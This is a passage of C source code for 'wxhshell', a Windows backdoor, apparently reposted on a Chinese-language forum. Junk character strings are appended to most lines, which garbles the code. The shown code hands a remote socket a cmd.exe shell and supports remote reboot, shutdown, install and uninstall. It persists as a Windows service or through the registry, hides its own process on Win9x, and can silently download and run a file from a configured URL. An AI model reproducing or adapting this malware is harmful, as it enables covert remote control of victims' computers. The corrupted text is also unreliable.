  } q{E44 eQ7F  
  else { 8 O% ?t  
w4%yCp[,  
    switch(cmd[0]) { y)]L>o~  
  7v{s?h->$  
  // 帮助 \;F_QV  
  case '?': { *Z:'jV<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o b,%); m  
    break; D/x!`&.sN  
  } O\&[|sGY{  
  // 安装 _oBJ'8R\  
  case 'i': { \Uh$%#}.  
    if(Install()) GO<,zOqvU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;uc@GGo  
    else m2h@*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *%;+3SV  
    break; RwyRPc _  
    } l:$i}.C  
  // 卸载 MeMSF8zSQ  
  case 'r': { NPY\ >pf  
    if(Uninstall()) f&ri=VJY\T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U2TR>0l  
    else  VsR8|Hn$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3 S  
    break; I2G:jMPy  
    } 4te QG  
  // 显示 wxhshell 所在路径 bWEti}kW  
  case 'p': { e|2@z-Sp-  
    char svExeFile[MAX_PATH]; RP|/rd]-k  
    strcpy(svExeFile,"\n\r"); \#O}K  
      strcat(svExeFile,ExeFile); guc[du  
        send(wsh,svExeFile,strlen(svExeFile),0); \Jy/ a-  
    break; }?KfL$@$  
    } kD.KZV  
  // 重启 bDq[j8IT6  
  case 'b': { A$ Tp0v`t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z36C7 kw  
    if(Boot(REBOOT)) 7 S 6@[-E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &upM,Jsr*  
    else { #ssSs]zl  
    closesocket(wsh); ]R?{9H|jwE  
    ExitThread(0); glo Y@k~  
    } bjCO@t  
    break; >A_:q yGk  
    } 1 |T{RY5  
  // 关机 9qcA+gz:|  
  case 'd': { gR\-%<42  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nEgDwJ<wl  
    if(Boot(SHUTDOWN)) %TUvH>;0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M|DVFC  
    else { ;FfDi*S7  
    closesocket(wsh); 3 jR I@  
    ExitThread(0); K0xka[x=(  
    } .,+TpP kc  
    break; %!X9>i>  
    } [3|&!:4g6  
  // 获取shell rO3.%B}  
  case 's': { |0N6]%r  
    CmdShell(wsh); MFzJ 8^.1R  
    closesocket(wsh); b;k3B7<  
    ExitThread(0); R.'-jvO  
    break; h}$g}f%$+  
  } ~dz,eB  
  // 退出 2uZ4$_  
  case 'x': { R q |,@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {Uj-x -  
    CloseIt(wsh); )F,IPAA#  
    break; L5j%4BlK/  
    } p()#+Xy  
  // 离开 lC8Z@wkjO  
  case 'q': { 2>+(OL4l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]9]o*{_+(f  
    closesocket(wsh);  oo4aw1d  
    WSACleanup(); :/<SJ({q  
    exit(1); Q}6!t$Vk  
    break; 1O,:fTG<  
        } oqUF_kh  
  } (<KFA,  
  } *l{GD1ZDk  
}p|S3/G?$!  
  // 提示信息 #X t|"Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kH'zTO1  
} :}*   
  } sFbN)Cx  
o|G[/o2  
  return; XDQ5qfE|  
} c$P68$FB  
A2 9R5  
// shell模块句柄 dtx3;d<NsJ  
int CmdShell(SOCKET sock) X%rsa7H3J  
{ 1"yr`,}?8r  
STARTUPINFO si; n4sO#p)'  
ZeroMemory(&si,sizeof(si)); r?2EJE2{V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,[UK32KWI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D8 BmC  
PROCESS_INFORMATION ProcessInfo; {3`cSm6c  
char cmdline[]="cmd"; RIdh],-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wG@f~$   
  return 0; Mj<T+Ohz  
} 67b w[#v  
Q5xQ5Le  
// 自身启动模式  PrqyJ  
int StartFromService(void) z;Jz^m-  
{ 9y+0Zj+.  
typedef struct 38E %]*5F  
{ m"/ o4  
  DWORD ExitStatus; L.?QZN%cN  
  DWORD PebBaseAddress; ;V0^uB.z  
  DWORD AffinityMask; W"n0x8~sV  
  DWORD BasePriority; <q.Q,_cW  
  ULONG UniqueProcessId; ?>/9ae^Bw  
  ULONG InheritedFromUniqueProcessId; 7SJR_G6,{  
}   PROCESS_BASIC_INFORMATION; Z_;! f}X  
8}K^o>J&K  
PROCNTQSIP NtQueryInformationProcess; )lZoXt_3  
Rn$[P.||  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {&ykpu090  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l=PZlH y1G  
0PD=/fh[  
  HANDLE             hProcess; _)kTlX:,  
  PROCESS_BASIC_INFORMATION pbi; 6^e}^~|  
r#'ug^^k$X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XY^]nm-{I  
  if(NULL == hInst ) return 0; Mz6PH)e;  
'\M]$`Et  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5=_bK^Am  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Tx>V$+al  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8I[=iU7]l  
Ef$a&*)PH  
  if (!NtQueryInformationProcess) return 0; FD al;T  
Ggk#>O G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $1 t IC_  
  if(!hProcess) return 0; E?- ~*T  
HA74s':FN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0[])wl  
V+5av Z}  
  CloseHandle(hProcess); v`@M IOv  
i__f%j`!W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,@kLH"a0  
if(hProcess==NULL) return 0; > JC"YB  
l;d4Le  
HMODULE hMod; hVIv->  
char procName[255]; =m;,?("7t3  
unsigned long cbNeeded; $0Ys{m  
\`;1[m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^r~O*  
"H#pN;)+   
  CloseHandle(hProcess); 5.$/]2VK  
@jCMQYR  
if(strstr(procName,"services")) return 1; // 以服务启动 %xrldn%  
!bs5w_@  
  return 0; // 注册表启动 mw&'@M_(7  
} {T-=&%||  
x[=,$;o+  
// 主模块 6UI6E)g  
int StartWxhshell(LPSTR lpCmdLine) A0,h 7<i  
{ a<J< Oc!  
  SOCKET wsl; ]nNn"_qh  
BOOL val=TRUE; 21O@yNpS$  
  int port=0; V :/v r  
  struct sockaddr_in door; ,rV;T";r  
}9kn;rb$g  
  if(wscfg.ws_autoins) Install(); >n3ig~0d  
p:V1VHT,  
port=atoi(lpCmdLine); M`n0 q y  
y+p"5s"  
if(port<=0) port=wscfg.ws_port; D#P]tt.Z   
w3;{z ,,T  
  WSADATA data; vi.INe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R^B8** N  
NxSSRv^rx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *zQhTYY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h=Q2 ?O8  
  door.sin_family = AF_INET; VTU(C&"S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ~)F_FS  
  door.sin_port = htons(port); osc A\r  
h$mGaw vZ~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PhAD: A  
closesocket(wsl); \l%##7DRp]  
return 1; Z;S)GUG^  
} "~S2XcR[ E  
0{ _6le]  
  if(listen(wsl,2) == INVALID_SOCKET) { &@FufpPw/  
closesocket(wsl); j\"d/{7Q  
return 1; >{l b|Vx  
} KrR`A(=WL  
  Wxhshell(wsl); LP !d|X  
  WSACleanup(); - (7oFOtg  
m%'T90mi  
return 0; F"cZ$TL]  
3xN_z?Rg  
} !1%Sf.`!_  
I5)$M{#a  
// 以NT服务方式启动 $&!|G-0'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <*+[E!oi  
{ U o aWI2  
DWORD   status = 0; -g:i'e  
  DWORD   specificError = 0xfffffff; g}S%D(~  
.K1wp G[4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FY-eoq0O3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yY{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YeVo=hYH@  
  serviceStatus.dwWin32ExitCode     = 0; EEMRy  
  serviceStatus.dwServiceSpecificExitCode = 0; \GV'{W+o2  
  serviceStatus.dwCheckPoint       = 0; ;O|u`fAqT  
  serviceStatus.dwWaitHint       = 0; Rn`DUYg  
9R">l5u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I2krxLPd  
  if (hServiceStatusHandle==0) return; :wEy""*N0  
c[T@lz(!  
status = GetLastError(); i9V,  
  if (status!=NO_ERROR) c$lZ\r"  
{ .s?^y+e_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; : sw@1  
    serviceStatus.dwCheckPoint       = 0; z`eMb  
    serviceStatus.dwWaitHint       = 0; :Gzp (@<@e  
    serviceStatus.dwWin32ExitCode     = status; f]mVM(XZN  
    serviceStatus.dwServiceSpecificExitCode = specificError; R\Ckk;<$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OI8}v  
    return; }346uF7C  
  } dWu;F^  
{;m|\652B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 17`-eDd  
  serviceStatus.dwCheckPoint       = 0; \/C5L:|p_  
  serviceStatus.dwWaitHint       = 0; 7G7"Zule*j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |WpJen*?Y  
} TA8  
o?c NH  
// 处理NT服务事件,比如:启动、停止 =d iGuI B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l_8ibLyo  
{ ~3&hvm[IQ  
switch(fdwControl) 4#.Q|vyl]"  
{ qq_ZkU@xg  
case SERVICE_CONTROL_STOP: HIt9W]koO  
  serviceStatus.dwWin32ExitCode = 0;  (^B=>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <r(D\rmD  
  serviceStatus.dwCheckPoint   = 0; 0P!Fci/t  
  serviceStatus.dwWaitHint     = 0; /1D.Ud^  
  { UR S=1+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FD~ U F;VQ  
  } rZ)7(0BBs  
  return; ^QG<_Dm]  
case SERVICE_CONTROL_PAUSE: (uy\~Zb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H<;~u:;8Q  
  break; .TDg`O24c,  
case SERVICE_CONTROL_CONTINUE: ]=]MJ3_7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]0SqLe  
  break;  =zDvZ(5  
case SERVICE_CONTROL_INTERROGATE:  p: eaZ  
  break; Y*O Bky  
}; 1_]%,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TJ>1?W\Z  
} vA[7i*D{w  
,7DyTeMpN  
// 标准应用程序主函数 Sfp-ns32%A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y+V>,W)r7  
{ ;Bw3@c  
la4%Vqwgu  
// 获取操作系统版本 J, +/<Y!  
OsIsNt=GetOsVer(); ~O!E&~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -v|lM8  
k,; (`L  
  // 从命令行安装 *J >6i2M,u  
  if(strpbrk(lpCmdLine,"iI")) Install(); `*`ZgTV  
#l.s> B4  
  // 下载执行文件 OECVExb@eH  
if(wscfg.ws_downexe) { yu > ;m.e_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J!dv"Ww"  
  WinExec(wscfg.ws_filenam,SW_HIDE); rusYNb1J  
} sIl&\g<b  
h(3-/4  
if(!OsIsNt) { 4L4u<  
// 如果时win9x,隐藏进程并且设置为注册表启动 #XqiXM~^R  
HideProc(); P"t Dq&  
StartWxhshell(lpCmdLine); I3izLi  
} w>}n1Nc$G  
else iP:^nt?  
  if(StartFromService()) {yEL$8MC  
  // 以服务方式启动 IG2z3(j  
  StartServiceCtrlDispatcher(DispatchTable); 86dz Jh  
else -/*VR$c  
  // 普通方式启动 $2blF)uYE  
  StartWxhshell(lpCmdLine); u6IM~kk>5  
a40>_;}:x  
return 0; ae2SU4Jx  
}
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只看该作者 1 发表于: 2006-10-10
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